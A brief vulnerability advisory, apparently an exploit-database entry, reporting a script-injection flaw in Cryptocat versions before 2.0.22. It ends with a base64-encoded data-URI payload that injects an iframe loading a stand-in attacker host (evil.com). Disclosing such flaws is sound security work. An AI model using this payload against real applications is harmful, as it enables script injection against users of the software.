Cryptocat 2.0.22 – Arbitrary Script Injection
source: https://www.securityfocus.com/bid/61093/info Cryptocat is prone to an arbitrary script-injection vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary script code within the context of the application. Versions prior to Cryptocat 2.0.22 are vulnerable. Http://example.come/data:image/foo;base64,PGh0bWw+PGlmcmFtZSBzcmM9Imh0dHA6Ly9ldmlsLmNvbS8iPjwvaWZyYW1lPjwvaHRtbD4NCg |